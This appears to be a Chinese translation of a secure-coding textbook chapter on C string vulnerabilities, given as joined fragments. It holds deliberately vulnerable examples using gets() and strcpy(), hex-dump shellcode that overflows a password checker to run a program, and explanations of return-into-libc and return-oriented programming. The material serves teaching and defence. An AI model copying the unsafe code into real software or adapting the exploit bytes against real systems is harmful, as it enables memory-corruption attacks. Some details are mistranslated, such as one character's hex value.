另一个常见的问题是字符串没有正确地以空字符结尾。一个字符串正确地以空字符结尾，是指在数组最后一个元素处或在它之前存在一个空终结符。如果一个字符串没有以空字符结尾，程序可能会被欺骗，导致在数组边界之外读取或写入数据。 字符串必须在数组的最后一个元素的地址处或在它之前包含一个空终止字符，才可以安全地作为标准字符串处理函数如strcpy（）函数或strlen（）函数的参数被传递。空终止字符之所以是必要的，是因为前面这些函数以及其他由C标准定义的字符串处理函数，都依赖于它的存在来标记字符串的结尾。同样，如果程序对一个字符数组迭代循环的终止条件取决于为字符串分配的内存内是否存在一个空终止字符，字符串也必须以空字符结尾。 1 size_t i; 2 char ntbs[16]; 3 /* ... */ 4 for (i = 0; i < sizeof(ntbs); ++i) { 5 if (ntbs[i] == '\\0') break; 6 /* ... */ 7 } 下面的程序在微软Visual C++2010中能通过编译，但在警告级别/W3下会对使用strncpy（）和strcpy（）发出警告。如果_FORTIFY_SOURCE宏被定义为一个非零值，它在Linux下还会（在运行时）由GCC诊断。 1 int main(void) { 2 char a[16]; 3 char b[16]; 4 char c[16]; 5 strncpy(a, \"0123456789abcdef\", sizeof(a)); 6 strncpy(b, \"0123456789abcdef\", sizeof(b)); 7 strcpy(c, a); 8 /* ... */ 9 } 在这个程序中，三个字符数组（a[]、b[]和c[]）被声明为16个字节。虽然strncpy（）到a仅限于写sizeof（a）（16个字节），但由于strncpy（）函数的历史和标准的行为，导致结果字符串不是以空字符结尾的。 根据C标准，strncpy（）函数从源数组复制不超过n个字符（空字符后的字符不会被复制）到目标数组。因此，如本例所示，如果源数组中的前n个字符中不存在空字符，那么其结果字符串将不会是以空字符结尾的。 strncpy（）到b也有类似的结果。这取决于编译器如何分配存储空间，a[]后的存储空间可能碰巧存在一个空字符，但是这是编译器未指定的，并在本例中是不太可能的，尤其是存储空间是紧密堆积的时候。其结果是strcpy（）到c可能写得远远超出了数组界限，因为a[]中存储的字符串不是正确地以空字符结尾的。 《C安全编码标准》[Seacord 2008]包括“STR 32-C.按要求提供空字节结尾的字符串”。请注意，该规则并不排除使用字符数组。例如，即使在调用strncpy（）之后，存储在ntbs字符数组中的字符串可能不是正确地以空字符结尾的，下面的程序片段也没有什么错。 1 char ntbs[NTBS_SIZE]; 2 3 strncpy(ntbs, source, sizeof(ntbs)-1); 4 ntbs[sizeof(ntbs)-1] = '\\0'; 与本章中描述的其他字符串操作错误一样，空字符结尾错误也很难检测，它们会潜伏在部署好的代码中，直至遇到一组特别的输入而导致发生错误。编写代码不能依赖于编译器如何分配内存，因为这在编译器的下个版本中很可能发生改变。 未知 2.2.4 字符串截断 当目标字符数组的长度不足以容纳一个字符串的内容时，就会发生字符串截断。截断通常发生于读取用户输入或字符串复制时，通常是程序员试图防止缓冲区溢出的结果。尽管没有缓冲区溢出危害那么大，但字符串截断会丢失数据，有时也会导致软件漏洞。"},
    {"text": "未知 2.2.5 与函数无关的字符串错误 大部分在标准字符串处理库<string.h>中定义的函数都非常容易出错，包括strcpy（）、strcat（）、strncpy（）、strncat（）和strtok（）等。例如，微软Visual Studio已经废弃了许多这样的函数。尽管如此，由于空字符结尾的字符串是用字符数组实现的，因此，完全有可能在不调用任何函数的情况下做了不安全的字符串操作。下面的程序并没有调用任何字符串库函数，然而却包含了一个由字符串复制操作导致的缺陷。 01 int main(int argc, char *argv[]) { 02 int i = 0; 03 char buff[128]; 04 char *arg1 = argv[1]; 05 if (argc == 0) { 06 puts(\"No arguments\"); 07 return EXIT_FAILURE; 08 } 10 while (arg1[i] != '\\0') { 11 buff[i] = arg1[i]; 12 i++; 13 } 14 buff[i] = '\\0'; 15 printf(\"buff = %s\\n\", buff); 16 exit(EXIT_SUCCESS); 17 } 这个有缺陷的程序接受一个字符串参数，并将其复制到buff字符数组，然后打印buff中的内容。变量buff被声明为一个128个字符长的定长数组。如果提供给程序的第一个参数等于或者超过128个字符（请记住还有结尾的空字符），这个程序就会在数组的边界外进行写操作。 显然，消除对危险函数的使用并不能保证你的程序就能够避免安全缺陷。在接下来的几节中，你将会看到这些安全缺陷是如何导致可被利用的漏洞的。 未知 2.3 字符串漏洞及其利用 前面一节描述的是在C或C++中操作字符串常见的错误。当代码对源于外部的不受信任的数据（如命令行参数、环境变量、控制台输入、文本文件和网络连接）进行操作时，这些错误就会变得很危险。根据程序的使用和部署情况，外部数据可能受信任或不受信任。然而，软件可以使用的所有方式往往是很难预测的。通常在部署代码时，在开发过程中所作的假设不再有效。假设的改变，是一种常见的漏洞来源。因此，将所有外部数据都当作不可信的是更安全的做法。 在软件安全分析领域，一个值称作被污染的，如果它的来源是不受信任的（程序的控制之外），并且没有被净化，以确保它符合该值的使用者要求的任何约束，例如，所有的字符串都要求是空字符结尾的约束。 未知 2.3.1 被污染的数据 例2.3是一个简单的程序，它检查用户密码（应考虑被污染的数据），并授权或拒绝访问。 例2.3 IsPasswordOK（）程序 01 bool IsPasswordOK(void) { 02 char Password[12]; 03 04 gets(Password); 05 r eturn 0 == strcmp(Password, \"goodpass\"); 06 } 07 08 int main(void) { 09 bool PwStatus; 10 11 puts(\"Enter password:\"); 12 PwStatus = IsPasswordOK(); 13 if (PwStatus == false) { 14 puts(\"Access denied\"); 15 exit(-1); 16 } 17 } 该程序仅仅是用来演示字符串是如何被误用的，并非密码检查之范本程序。这个IsPasswordOK（）程序从main（）函数开始执行。执行的第一行代码是调用puts（）打印出一段字符串字面值。在C标准中，puts（）函数被定义为字符输出函数，它在<stdio.h>中声明，其功能是在由stdout所指向的输出流中写入一个字符串并且以换行符（'\\n'）结尾。IsPasswordOK（）函数紧接着被调用，从用户那里获取一个密码。该函数返回一个布尔值，如果密码有效将返回true，如果无效则返回false。后面的程序检测PwStatus的值，以决定是否给用户授权或者拒绝用户访问。 IsPasswordOK（）函数使用gets（）函数从（stdin所指向的）输入流中读取字符，存储到由Password所指向的数组中，直到遇见文件结束（end-of-file，EOF）标志或者换行符。任何换行符都将被丢弃，并且当最后一个字符被读入数组后，立即会加上一个用作结尾的空字符。<string.h>头文件中定义的strcmp（）函数将由Password所指向的字符串和字符串字面量“goodpass”作比较，如果两者相同，它将返回一个值为0的整数，如果两者不同，则返回值不为0。IsPasswordOK（）函数在用户输入的密码等于“goodpass”时返回true，main（）函数以此为依据决定是否授权用户访问。 在程序第一次运行中（参见图2.2），用户输入正确的密码，因此被授权访问。 第二次运行中（参见图2.3），用户输入的密码不正确，因此系统拒绝用户的访问。 遗憾的是，该程序包含一个安全缺陷，该缺陷允许攻击者绕过密码保护逻辑，直接获得对程序的访问权限。你能识别出这个缺陷吗？ 图2.2 用户输入正确的密码，因此被授权访问 图2.3 用户输入的密码不正确，因此被拒绝访问"},
    {"text": "未知 2.3.2 IsPasswordOK（）的安全缺陷 在IsPasswordOK（）程序中，允许攻击者获得未授权访问的安全缺陷是由于对gets（）的调用所引起的。上面已经提到过，gets（）函数从标准输入复制字符串到Password中，直至遇到EOF标志或者换行符。然而，Password数组只能容纳11个字符的密码加上一个结尾的空字符。这个情况就导致如果输入多于11个字符，那么程序就会对Password数组进行越界写，图2.4展示了一个程序试图复制16字节的数据到12字节的数组所发生的情况。 这种允许越界写的情况在安全领域中称为缓冲区溢出（buffer overflow）。缓冲区溢出实际上是一个运行时事件。然而，在这个例子中，造成缓冲区溢出发生的原因是一个无界字符串读取，而这一点可以在程序编译时识别。在进一步了解缓冲区溢出究竟如何造成安全风险之前，我们首先需要对缓冲区溢出和进程内存组织有个大概的了解。 图2.4 复制16字节的数据到12字节的数组 IsPasswordOK（）程序有另一个问题：它没有检查gets（）的返回状态。这违反了“FIO04-C．检测和处理输入和输出错误”。当gets（）失败时，Password缓冲区的内容是不确定的，所以后续的strcmp（）调用的行为是未定义的。在实际的程序中，缓冲区甚至可能包含先前其他用户输入的密码。 未知 2.3.3 缓冲区溢出 当向为某特定数据结构分配的内存空间的边界之外写入数据时，即会发生缓冲区溢出。C和C++都容易发生缓冲区溢出问题，因为这两种语言具有以下共同之处。 ·将字符串定义为以空字符结尾的字符数组 ·未进行隐式的边界检查 ·提供了未强制性边界检查的标准字符串函数调用 取决于内存的位置以及溢出的规模，缓冲区溢出可能不会被侦测到，但它可能会破坏数据，导致程序出现奇怪的行为甚至非正常中止。 缓冲区溢出是一个令人头痛的问题，因为在软件的开发和测试阶段并非总能发现该问题。并非所有C和C++实现在编译过程中总能识别可能引发缓冲区溢出的安全缺陷，在运行时也不会报告越界写问题。静态分析工具可以帮助我们发现在早期开发过程中的缓冲区溢出问题，不过一旦测试数据可以引发一个可侦测的溢出，我们就可以使用动态分析工具来发现缓冲区溢出问题。 并非所有的缓冲区溢出都会造成软件漏洞。然而，如果攻击者能够操纵用户控制的输入来利用安全缺陷，那么缓冲区溢出就会导致漏洞了。例如，有一些广为人知的技术可以用于覆写栈帧以执行任意的代码。缓冲区溢出也可以在堆或静态内存区域被利用，它的做法是通过覆写邻接内存的数据结构。 在我们深入了解这些利用行为之前，理解进程内存是如何组织和管理的是非常必要的。如果你对进程内存组织、执行栈以及堆管理等主题已经非常熟悉，可以直接跳到2.5节。 未知 2.3.4 进程内存组织 进程 已载入内存并受操作系统管理的程序实例。 如图2.5的（a）列所示，进程的内存一般分为code（代码段）、data（数据段）、heap（堆）以及stack（栈）。 code和text段包含了程序的指令和只读数据。它们可以被标记为只读，从而当试图对其对应的内存进行修改时，就会引发错误。（把内存标记为只读有两种方法，一是使用支持该功能的计算机硬件平台的内存管理硬件，二是安排内存，使可写的数据和只读数据存储在不同的页面。）data段包含了初始化数据、未初始化数据、静态变量以及全局变量。heap则用于动态地分配进程内存。stack是一个后进先出（last-in，first-out，LIFO）数据结构，用于支持进程的执行。 进程内存的精确组织形式依赖于操作系统、编译器、链接器以及载入器—换言之，依赖于编程语言的实现。图2.5的（b）列和（c）列展示了UNIX和Win32上可能的进程内存组织形式。 图2.5 进程内存组织"},
    {"text": "未知 2.3.5 栈管理 栈通过维护自动的进程状态数据来支持程序的执行。例如，如果一个程序的主例程（main routine）调用了a（）函数，a（）又调用了b（）函数，则b（）函数最终会将控制权返回给a（），a（）则会接着将控制权返回给main（）函数，如图2.6所示。 图2.6 栈管理 要做到将程序控制返回到正确的位置，就需要将返回地址的序列存储起来。栈很适合做这项工作，因为动态的LIFO数据结构在内存限制允许的情况下可以支持任意层数的嵌套。当调用一个子例程时，调用例程中的下一条将要执行的指令地址被压入栈中。当被调用的子例程返回时，预先存储的返回地址从栈中弹出，程序的执行点就跳到该指定位置上，如图2.7所示。栈维护的这些信息反映了任何时刻进程的执行状态。 图2.7 调用一个子例程 除了返回地址以外，栈还被用来保存子例程的参数以及局部（或自动）变量。帧（frame）指由函数调用引发的压入栈的数据。当前帧的地址被存储到帧或者基址寄存器中。在x86-32架构上，扩展基址指针（extended base pointer，ebp）寄存器就是用作此目的。帧指针在栈中是一个定点的引用。当调用一个子例程时，调用端函数的帧指针同样被压入栈，这样当被调用子例程退出时，帧指针能被重新恢复。 Intel指令有两种符号，微软使用Intel符号。 mov eax, 4 # Intel Notation GCC使用AT&T符号 mov $4, %eax # AT&T Notation 这两种指令都把直接数4移动到eax寄存器。例2.4展示了调用foo（MyInt.MyStrPtr）所得的使用Intel符号表示的x86-32反汇编形式。 例2.4 使用Intel符号表示的反汇编 01 void foo(int, char *); // 函数原形 02 03 int main(void) { 04 int MyInt=1; // 栈变量位于 ebp-8 05 char *MyStrPtr=\"MyString\"; // 栈变量位于ebp-4 06 /* ... */ 07 foo(MyInt, MyStrPtr); // 调用 foo 函数 08 mov eax, [ebp-4] 09 push eax # 把第2 个参数压入栈 10 mov ecx, [ebp-8] 11 push ecx # 把第1 个参数压入栈 12 call foo # 把返回地址压入栈 13 # 并跳到那个地址 14 add esp, 8 15 /* ... */ 16 } 调用由三个步骤组成，如下所示。 1.第二个参数被移到eax寄存器中，接着被压入栈（第8行和第9行）。注意mov指令是如何利用ebp寄存器来引用参数以及栈中的局部变量的。 2.第一个参数被移到ecx寄存器中，接着被压入栈（第10行和第11行）。 3.call指令将一个返回地址（call指令下一条指令的地址）压入栈，然后将控制转移到foo（）函数（第12行）。 指令指针（eip）指向将要执行的下一条指令。当执行连续指令时，它会按照每个指令的大小自动递增，从而使CPU按顺序执行序列中的下一条指令。通常情况下，不能直接修改eip，相反，它必须通过诸如跳转（jump），调用（call）和返回（return）指令间接修改。 当控制返回到返回地址时，栈指针（SP）被递增8个字节（第14行）。（在x86-32中，栈指针被命名为esp，e前缀代表“扩展”，用来区分32位栈指针与16位栈指针）。栈指针指向栈的顶端。栈增长的方向取决于具体架构上的pop和push指令的实现（换言之，取决于对栈指针是递增还是递减操作）。对于很多流行的架构，包括x86、SPARC以及MIPS处理器在内，栈向低地址方向增长。在具有这些架构的机器上，递增栈指针就意味着从栈中弹出数据。 foo（）函数开头 。函数开头中包含一个函数调用后所执行的指令。foo（）函数的函数开头如下所示： 1 void foo(int i, char *name) { 2 char LocalChar[24]; 3 int LocalInt; 4 push ebp # 保存帧指针 5 mov ebp, esp # 子例程的帧指针被设置为 6 # 当前栈指针. 7 sub esp, 28 # 为局部变量分配空间. 8 /* ... */ push指令将保存有指向调用者栈帧指针的ebp寄存器压入栈。mov指令将函数的帧指针（ebp寄存器）指向当前栈指针。最后，函数在栈上为局部变量分配了总共28个字节的空间（Local Char占24字节，Local Int占4字节）。 函数开头部分执行之后，foo（）的栈帧如表2.2所示。在x86上，栈向内存低地址增长。 foo（）的函数结尾 。函数结尾包含将一个函数返回给调用者所执行的指令。下面是从foo（）函数返回的函数结尾： 1 /* ... */ 2 return; 3 mov esp, ebp # 恢复栈指针 4 pop ebp # 恢复帧指针 5 ret # 将返回地址从栈弹出 6 # 并把控制移交给那个位置 7 } 表2.2 函数开头部分执行之后，foo（）的栈帧 这些返回序列可以看成是前面的函数开头的逆序执行形式。mov指令将栈指针（esp）从帧指针（ebp）中恢复。pop指令将调用者的帧指针从栈中恢复。ret指令从栈中弹出调用函数中的返回地址，并且将控制转移到该位置。"},
    {"text": "未知 2.3.6 栈溢出 当缓冲区溢出覆写分配给执行栈内存中的数据时，就会导致栈溢出（stack smashing）。这种情况会对程序的可靠性和安全性造成严重的后果。stack段的缓冲区溢出使得攻击者能够修改自动变量的值或执行任意的代码。 覆写自动变量会破坏数据的完整性，在某些情况下也可能会引发安全漏洞（例如，在一个包含用户ID或密码的变量被覆写的情况下）。更常见的情况是，stack段的缓冲区溢出可能会允许攻击者通过覆写指向控制被（最终）转移的地址的指针来执行任意的代码，一个常见的例子是覆写返回地址（该地址也位于栈中）。此外，还可能覆写基于帧或基于栈的异常处理指针、函数指针或其他控制将会转移到的地址。 IsPasswordOK（）程序示例容易遭受栈溢出攻击。要理解为何这个程序有漏洞，首先必须理解栈究竟是如何被使用的。程序在调用IsPasswordOK（）之前，栈中包含的信息如图2.8所示。 图2.8 调用IsPasswordOK（）之前的栈信息 操作系统（OS）或标准的启动序列把从main（）的返回地址压入栈。在入口处，main（）函数保存旧的传入帧指针，而这又来自操作系统或标准的启动序列。在调用IsPasswordOK（）函数之前，栈包含局部布尔变量PwStatus，它保存由函数IsPasswordOK（）返回的状态，此外，栈还包含调用者的帧指针和返回地址。 当程序执行IsPasswordOK（）函数时，栈中包含的信息如图2.9所示。 图2.9 IsPasswordOK（）执行时栈中的信息 请注意，Password数组和main（）函数的返回地址都位于栈中，并且main（）函数的返回地址的位置位于Password数组之后。理解在调用IsPasswordOK（）的过程中栈会发生变化是非常重要的。当程序从IsPasswordOK（）返回时，栈恢复到原来的状态，如图2.10所示。 图2.10 栈恢复到初始状态 main（）函数继续执行，执行哪个分支取决于从IsPasswordOK（）函数返回的值。 安全漏洞 ：IsPasswordOK（）。如前所言，由于Password数组只能包含最多11个字符加上结尾的空字符，因此IsPasswordOK（）程序存在一个安全缺陷。如图2.11所示，可以通过输入“12345678901234567890”这样的有着20个字符的密码，造成程序崩溃，从而很容易地暴露这个缺陷。 图2.11 如果超出其字符限制，未正确地限定边界的Password数组导致程序崩溃 要弄清楚程序崩溃的原因，首先必须理解在一个12字节的栈变量中保存20个字节长的密码会造成什么样的影响。由于20个字节是用户输入的，加上用作结尾的空字符，因此实际上存储该字符串所需要的内存是21个字节。但是，由于可用于存储密码的空间仅为12字节，因此栈中用来存储其他信息的9个字节（21–12=9）就被密码数据覆写了。图2.12展示了当调用gets（）读取20个字节的密码以及溢出所分配的缓冲区后，被扰搅乱的程序栈。请注意，调用者的帧指针、返回地址以及PwStatus变量的一部分存储空间都已经被破坏了。 当一个程序发生故障时，一般的用户通常并不会想到程序可能存在漏洞。他们只会想到重启程序，但是，攻击者会继续研究，以查看程序的缺陷是否可被利用。 程序崩溃是因为缓冲区溢出导致返回地址被修改了，而新的地址要么是无效的，要么该地址的内存属于下列情况：（1）未包含有效的CPU指令；（2）虽然包含有效的指令，但是CPU的寄存器并没有为指令的正确执行做出正确的设置；或者（3）不可执行。 图2.12 损坏的程序栈 如图2.13所示，一段精心设计的输入字符串可以让程序产生意外的结果。 图2.14展示了当输入字符串溢出为Password分配的存储空间时，栈的内容是如何改变的。输入字符串包含一些看起来比较有趣的字符“j%*!”。这些都是可以利用键盘或者字符映射表（character map）输入的、可显示的ASCII字符。每一个字符都有一个对应的十六进制值：‘j’=0x6A，‘%’=0x10，‘*’=0x2A，‘!’=0x21。在内存中，这个4字符序列对应于一个4字节的地址，而这个地址覆盖了栈中原来的返回地址，所以IsPasswordOK（）函数不是返回到main（）中紧随此调用的指令，而是将控制返回给“授予访问”分支，这就使得攻击者绕过了执行密码验证逻辑的那段代码，从而获得对系统的访问权限。这种攻击是一个简单的弧注入攻击。弧注入攻击在2.3.8节中有更详细的描述。 图2.13 一个精心制作的输入字符串导致的意外结果 图2.14 使用一个精心设计的输入字符串导致缓冲区溢出后的程序栈"},
    {"text": "一个恶意的参数必须具有如下几个特征： ·有漏洞的程序必须接受它作为合法的输入。 ·参数，以及其他可控制的输入，必须导致有漏洞的代码路径得到执行。"},
    {"text": "恶意参数可以借助下面重定向的方式以二进制数据文件的形式注入到程序中： % ./BufferOverFlow < exploit.bin 当利用代码被注入IsPasswordOK（）程序时，程序栈被覆写成下列形式： 01 /* buf[12] */ 02 00 00 00 00 03 00 00 00 00 04 00 00 00 00 05 06 /* %ebp */ 07 00 00 00 00 08 09 /* 返回地址 */ 10 78 fd ff bf 11 12 /* \"/usr/bin/cal\" */ 13 2f 75 73 72 14 2f 62 69 6e 15 2f 63 61 6c 16 00 00 00 00 17 18 /* 空指针 */ 19 74 fd ff bf 20 21 /* NULL */ 22 00 00 00 00 23 24 /* 利用代码 */ 25 b0 0b /* mov $0xb, %eax */ 26 8d 1c 24 /* lea (%esp), %ebx */ 27 8d 4c 24 f0 /* lea -0x10(%esp), %ecx */ 28 8b 54 24 ec /* mov -0x14(%esp), %edx */ 29 cd 50 /* int $0x50 */ 本例中使用的lea指令表示“装载有效地址”（load effective address），lea指令计算第二个操作数（源操作数）的有效地址，并将它存入第一个操作数（目标操作数）。"},
    {"text": "图2.15 Linux calendar程序 缓冲区溢出不影响fgets（）调用，但影响strcpy（）调用，如下面的IsPasswordOK（）程序修订版所示： 01 char buffer[128]; 02 03 _Bool IsPasswordOK(void) { 04 char Password[12]; 05 06 fgets(buffer, sizeof buffer, stdin); 07 if (buffer[ strlen(buffer) - 1] == '\\n') 08 buffer[ strlen(buffer) - 1] = 0; 09 strcpy(Password, buffer); 10 return 0 == strcmp(Password, \"goodpass\"); 11 } 12 13 int main(void) { 14 _Bool PwStatus; 15 16 puts(\"Enter password:\"); 17 PwStatus = IsPasswordOK(); 18 if (!PwStatus) { 19 puts(\"Access denied\"); 20 exit(-1); 21 } 22 else 23 puts(\"Access granted\"); 24 return 0; 25 } 因为strcpy（）函数只复制源字符串（保存在缓冲区中），所以Password数组不可能包含内部空字符。"},
    {"text": "000: 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456 010: 37 38 39 30 31 32 33 34 04 fc ff bf 78 78 78 78 78901234....xxxx 020: 31 c0 a3 23 fc ff bf b0 0b bb 27 fc ff bf b9 1f 1..#......'..... 030: fc ff bf 8b 15 23 fc ff bf cd 80 ff f9 ff bf 31 .....#.....'...1 040: 31 31 31 2f 75 73 72 2f 62 69 6e 2f 63 61 6c 0a 111/usr/bin/cal. 这个恶意参数可以通过重定向提供给被利用的程序，如下所示： %./BufferOverflow < exploit.bin 当strcpy（）函数返回时，栈被覆写为如表2.3所示。"},
    {"text": "因为利用漏洞的过程中，传递给系统调用的参数中必须包含一个以空指针结尾的字符指针列表。 由于利用数据中间不能直接包含空字符，因此利用代码必须创建一个空指针。"},
    {"text": "那种简单地将返回地址修改跳转到代码中其他位置的方式并不常用，部分原因是这些漏洞难以发现（这需要找到可以绕过检查的程序逻辑），并且对攻击者而言用处也不大（因为只能获得对程序本身的控制权而不是执行任意的代码）。"},
    {"text": "未知 2.3.8 弧注入 第2.3.7节描述过，对IsPasswordOK（）程序中漏洞的第一次利用，通过修改函数返回地址的方式改变了程序的控制流（在该例中，绕过了密码保护逻辑）。这种技术称为弧注入（arc injection，有时也称为return-into-libc），它将控制转移到已经存在于程序内存空间中的代码中。弧注入的利用方式是在程序的控制流“图”中插入一段新的“弧”（表示控制流转移），而不是进行代码注入。很多高明的攻击者偏爱采用这种技术，包括在栈上安装一个已有函数的地址以及相应的参数（如system（）或exec（），这种方式可以用于执行命令或已经存在于本地系统上的其他程序）。当返回地址从栈中弹出时（在x86架构上通过ret或者iret指令实现），程序的控制就被“返回”到攻击者指定的函数中。通过调用system（）或exec（）这样的函数，攻击者可以轻易地在受攻击的机器上建立一个shell，它具有和被攻击程序相同的权限。 更糟糕的是，攻击者可以利用弧注入执行一个函数序列，每个函数都使用攻击者提供的参数。这样，攻击者就可以安装并运行类似于一个包含函数链的小程序的代码，从而增大攻击的危害性。 下面是一个有缓冲区溢出漏洞的程序。 01 #include <string.h> 02 03 int get_buff(char *user_input, size_t size){ 04 char buff[40]; 05 memcpy(buff, user_input, size); 06 return 0; 07 } 08 09 int main(void) { 10 /* ... */ 11 get_buff(tainted_char_array, tainted_size); 12 /* ... */ 13 } user_input中的被污染数据由memcpy（）函数复制到buff字符数组中。如果user_input比buff缓冲区大，那么就会发生缓冲区溢出。 有很多原因导致攻击者选择使用弧注入更甚于代码注入。因为弧注入使用那些已经存在于目标系统内存中的代码，攻击者仅仅需要提供函数地址和参数就可以发起成功的攻击。这种类型的攻击留下的痕迹很小，因此可以用于代码注入无法得逞的漏洞利用情形。因为利用代码包含完整的已存在代码，所以无法通过基于内存保护的方案来防止它，比如无法用将内存段（例如栈）属性设置为不可执行的方式来保护程序。它也可以通过恢复原有帧来防止被检测。 链式函数调用可以让攻击者拥有更大的攻击力。例如，一个严肃对待安全问题的程序员，可能会遵循最小特权原则[Saltzer 1975]，即在不需要某些特权的情况下主动去除那些权限。但是，通过链式多函数调用，一个利用程序可以重新获得那些权限，例如，可以在调用system（）之前调用setuid（）。 未知 2.3.9 返回导向编程 返回导向编程攻击技术与弧注入是类似的，但漏洞利用代码不是返回函数，而是返回跟在return指令后的指令序列。任何这样的可使用的指令序列都称为小工具（gadget）。对于x86架构，一个小工具的图灵完备集合已可以允许用返回导向语言编写任意程序。图灵完备的代码库小工具使用Solaris的libc片段，为构建返回导向漏洞的通用的编程语言和编译器也已经被开发出来[Buchanan 2008]。因此，存在一个假设的返回导向编程漏洞的风险，对其他架构也可能是有效的。 返回导向编程语言，由一组小工具组成。每个小工具指定要放置在栈中的某些值，供代码段中的一个或多个指令序列使用。小工具执行良好定义的操作，如装载、加法或跳转。 返回导向编程由执行所需操作的小工具共同组成。小工具由return指令与栈指针所指的小工具地址来执行。 例如，指令序列 pop %ebx; ret 形成一个小工具，它可以用于加载一个常数到ebx寄存器，如图2.16所示。 图2.16 用返回导向编程构建的小工具 图2.16的左边显示把常量＄0xdeadbeef复制到ebx寄存器所需的x86-32汇编语言的指令，并在右侧显示了等效的小工具。使用指向小工具的栈指针，CPU执行返回指令。由此导致小工具从栈中弹出该常数，并返回执行栈上的下一个小工具。 返回导向编程也支持有条件的和无条件的分支。在返回导向编程中，栈指针代替指令指针来控制执行流。一个无条件跳转需要简单地改变栈指针的值以指向一个新的小工具。这很容易使用如下指令序列来完成： pop %esp; ret 图2.17对无条件分支的x86-32位汇编语言编程和返回导向编程的惯用语法进行了对比。 图2.17 无条件分支在x86-32位汇编语言（左）和返回导向编程的惯用语法 无条件分支可以用于栈上的一个较早的小工具，从而产生一个无限循环。有条件的迭代可以由一个条件分支跳出循环实现。 Hovav Shacham发表的“The Geometry of Innocent Flesh on the Bone”[Shacham 2007]包含返回导向编程的一个更完整的教程。虽然返回导向编程可能看起来很复杂，但这种复杂性可以被编程语言和编译器抽象和隐藏，使得它成为一种可行的编写利用代码的技术。 未知 2.4 字符串漏洞缓解策略 由于长期以来字符串操作中的错误被公认是C和C++中缓冲区溢出问题的首要来源，因此人们已经设计了很多种缓解策略，其中包括：预防缓冲区溢出的发生；侦测缓冲区溢出并安全地恢复，使得漏洞利用企图无法得逞。 与完全依赖一种给定的缓解策略相比，通常更好的做法是结合使用多种策略以提供更深入的防御措施。常见的做法是坚持使用一种安全的方式实现字符串操作（一种预防性策略），并且辅以一个或多个运行时侦测和恢复方案。"},
    {"text": "未知 2.4.1 字符串处理 《C安全编码标准》[Seacord 2008].“STR01-C.采用并实现一个管理字符串的一致计划”建议选择一种方法来处理字符串并在项目中始终如一地执行。否则，决定权就落到了单个程序员身上，他们很可能采取不同、不一致的方法。可以根据字符串处理函数如何管理内存将它们归类。下面是3个基本模型： ·由调用者分配，由调用者释放（C99.OpenBSD.C11 Annex K） ·由被调用者分配，由调用者释放（ISO/IEC TR 24731-2） ·由被调用者分配，由被调用者释放（C++std::basic_string） 第一个模型是否比第二个模型更安全这点存在争议，反之亦然。第一个模型使得何时需要释放内存这点更加清晰，并且似乎更能防止泄漏，但第二个模型确保有足够的内存可用（除非调用malloc（）失败）。 第3种内存管理模式，其中被调用者既分配又释放内存，它是三种解决方案中最安全的一种，但只能在C++中使用。"},
    {"text": "未知 2.4.2 C11附录K边界检查接口 第一个内存管理模型（调用者分配，调用者释放）由在<string.h>文件中定义的C字符串处理函数实现，也由OpenBSD的函数strlcpy（）和strlcat（）和C11附录K边界检查接口实现。"},
    {"text": "例如，C11附录K定义了strcpy_s（）、strcat_s（）、strncpy_s（）和strncat_s（）函数，分别作为strcpy（）、strcat（）、strncpy（）和strncat（）的替代品，适用于源字符串长度未知的或保证小于已知目标缓冲区大小的情况。"},
    {"text": "由于C11附录K函数往往可以用作原来遗留代码中的库函数的简单替换，《C安全编码标准》[Seacord 2008]，“STR07-C.使用TR 24731整治现有的字符串操作代码”建议在实现了该附录要求的实现中使用它们用于此目的。"},
    {"text": "尽管这些函数最初由微软开发，但随微软Visual C++2012和早期版本附带的边界检查库的实现并不完全符合附录K，因为在标准化过程中，这些函数发生了变化，而微软的Visual C++并没有相应做出改变。"},
    {"text": "例2.5 使用gets_s（）从stdin中读取 01 #define __STDC_WANT_LIB_EXT1__ 1 02 #include <stdio.h> 03 #include <stdlib.h> 04 05 void get_y_or_n(void) { 06 char response[8]; 07 size_t len = sizeof(response); 08 puts(\"Continue? [y] n: \"); 09 gets_s(response, len); 10 if (response[0] == 'n') 11 exit(0); 12 } 大多数边界检查函数，在检测到错误，如参数无效或输出缓冲区没有足够的可用字节时，会调用一种特殊的运行时约束处理程序（runtime-constraint-handler）函数。"},
    {"text": "《C安全编码标准》[Seacord 2008]，“ERR 03-C.当调用TR 24731-1定义的函数时，使用运行约束处理程序”，建议安装运行时约束处理程序，以消除实现定义的行为。"},
    {"text": "例2.6 使用gets_s（）从stdin中读取（改进版） 01 #define __STDC_WANT_LIB_EXT1__ 1 02 #include <stdio.h> 03 #include <stdlib.h> 04 05 void get_y_or_n(void) { 06 char response[8]; 07 size_t len = sizeof(response); 08 09 puts(\"Continue? [y] n: \"); 10 if ((gets_s(response, len) == NULL) || (response[0] == 'n')) { 11 exit(0); 12 } 13 } 14 15 int main(void) { 16 constraint_handler_t oconstraint = 17 set_constraint_handler_s(ignore_handler_s); 18 get_y_or_n(); 19 } 这个例子通过增加一个对set_constraint_handler_s（）的调用来安装ignore_handler_s（）函数作为运行时约束处理程序。"},
    {"text": "依据《C安全编码标准》[Seacord 2008]“ERR00-C．采用并实施一个一致和全面的错误处理策略”，约束处理程序设置在main（），以便在整个应用程序中保持一致的错误处理策略。"},
    {"text": "在库函数不设置约束处理程序的情况下，在返回或退出（以防止存在向atexit（）注册的函数）之前，函数必须恢复原来的约束处理程序（由set_constraint_handler_s（）函数返回）。"},
    {"text": "重要的是程序员要确保目标的大小足够容纳要复制的字符数据和空终止字符，如《C安全编码标准》[Seacord 2008]“STR 31-C.保证字符串的存储有足够的空间存放字符数据和空终结符”所述。"},
    {"text": "在一般情况下，因为在ISO/IEC TR 24731-2中描述的函数，总是自动调整缓冲区大小以容纳所需的数据，所以这些函数更好地确保了不会发生缓冲区溢出问题。"},
    {"text": "例2.7 使用函数getline（）从stdin中读入数据 01 #define __STDC_WANT_LIB_EXT2__ 1 02 #include <stdio.h> 03 #include <stdlib.h> 04 05 void get_y_or_n(void) { 06 char *response = NULL; 07 size_t len; 08 09 puts(\"Continue? [y] n: \"); 10 if ((getline(&response, &len, stdin) < 0) || 11 (len && response[0] == 'n')) { 12 free(response); 13 exit(0); 14 } 15 free(response); 16 } 此程序对于任何输入都具有已定义的行为，包括一个假定，即假定一个非常长的、需要耗尽所有可用内存才能容纳的行，应被视为一个“no”回应。"},
